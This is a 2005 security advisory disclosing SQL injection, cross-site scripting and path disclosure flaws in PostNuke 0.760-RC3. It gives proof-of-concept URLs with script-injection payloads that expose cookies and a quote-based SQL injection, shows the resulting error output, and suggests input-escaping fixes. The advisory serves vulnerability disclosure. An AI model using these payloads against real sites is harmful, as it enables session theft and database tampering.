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Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/

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Severity: Medium
Title: Sql injection, xss and path disclosure vulnerabilities in PostNuke 0.760-RC3
Date: 08/04/2005

Vendor: PostNuke
Vendor Website: http://www.postnuke.com
Summary: There are, sql injection, xss and path disclosure vulnerabilities in postnuke 0.760-rc3.


Proof of Concept Exploits: 

http://localhost/admin.php?module="><script>alert(document.cookie)</script>&op=main&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie


http://localhost/modules.php?op=modload&name=News&file=article&sid='SQL_INJECTION&POSTNUKESID=355776cfb622466924a7096d4471a480
SQL INJECTION (look wayyy on the bottom of the page)

DB Error: getArticles: 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for 
the right syntax to use near '\'SQL_INJECTION' at line 23


http://localhost/modules.php?op=modload&name=Reviews&file=index&req=showcontent&id='&POSTNUKESID=355776cfb622466924a7096d4471a480
Server Path disclosure

Fatal error: Call to a member function on a non-object in /home/httpd/vhosts/localhost/httpdocs/modules/Reviews/index.php on line 976


http://localhost/user.php?op="><script>alert(document.cookie)</script>&module=NS-NewUser&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie


Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input 
validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.

Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Author: 
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel 
free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://digitalparadox.org/. 
Lookout or my soon to come out book on Secure coding with php.

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